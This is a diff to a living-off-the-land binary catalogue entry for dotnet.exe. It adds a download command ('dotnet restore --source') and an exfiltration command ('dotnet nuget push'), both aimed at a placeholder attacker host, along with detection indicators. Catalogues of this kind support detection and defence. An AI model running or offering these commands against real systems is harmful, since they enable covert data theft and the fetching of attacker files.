diff --git a/yml/OtherMSBinaries/Dotnet.yml b/yml/OtherMSBinaries/Dotnet.yml index 8f7c7b1e..4ccfead7 100644 --- a/yml/OtherMSBinaries/Dotnet.yml +++ b/yml/OtherMSBinaries/Dotnet.yml @@ -40,17 +40,41 @@ Commands: OperatingSystem: Windows 10 and up with .NET Core installed Tags: - Execute: CSharp + - Command: dotnet.exe restore --source http://{RHOST}/packages/ {PATH:.csproj} + Description: dotnet.exe will download NuGet packages (.nupkg) from an arbitrary HTTP server specified via the --source flag. + Usecase: Download files from a remote attacker-controlled server using a Microsoft-signed binary. Traffic goes over HTTP/HTTPS as NuGet protocol requests. + Category: Download + Privileges: User + MitreID: T1105 + OperatingSystem: Windows 10 and up with .NET SDK installed + Tags: + - Download: HTTP + - Command: dotnet.exe nuget push {PATH:.nupkg} --source http://{RHOST}/api/v2/package --api-key {APIKEY} + Description: dotnet.exe will upload a NuGet package (.nupkg) to an arbitrary HTTP server via HTTP PUT request. + Usecase: Exfiltrate data by packaging it as a .nupkg file and pushing it to an attacker-controlled NuGet server. A .nupkg is a ZIP file that can contain arbitrary data. + Category: Upload + Privileges: User + MitreID: T1048 + OperatingSystem: Windows 10 and up with .NET SDK installed + Tags: + - Upload: HTTP Full_Path: - - Path: 'C:\Program Files\dotnet\dotnet.exe' + - Path: C:\Program Files\dotnet\dotnet.exe + - Path: C:\Program Files (x86)\dotnet\dotnet.exe Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dotnet.yml - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules - IOC: dotnet.exe spawned an unknown process + - IOC: dotnet.exe making outbound HTTP connections to non-standard NuGet sources + - IOC: dotnet.exe command line containing --source with non-Microsoft URLs + - IOC: dotnet.exe nuget push command uploading to external servers Resources: - Link: https://twitter.com/_felamos/status/1204705548668555264 - Link: https://gist.github.com/bohops/3f645a7238d8022830ecf5511b3ecfbc - Link: https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/ - Link: https://learn.microsoft.com/en-us/dotnet/fsharp/tools/fsharp-interactive/ + - Link: https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-restore + - Link: https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-nuget-push Acknowledgement: - Person: felamos Handle: '@_felamos' @@ -58,3 +82,5 @@ Acknowledgement: Handle: '@bohops' - Person: yamalon Handle: '@mavinject' + - Person: Noam + Handle: '@pumi96'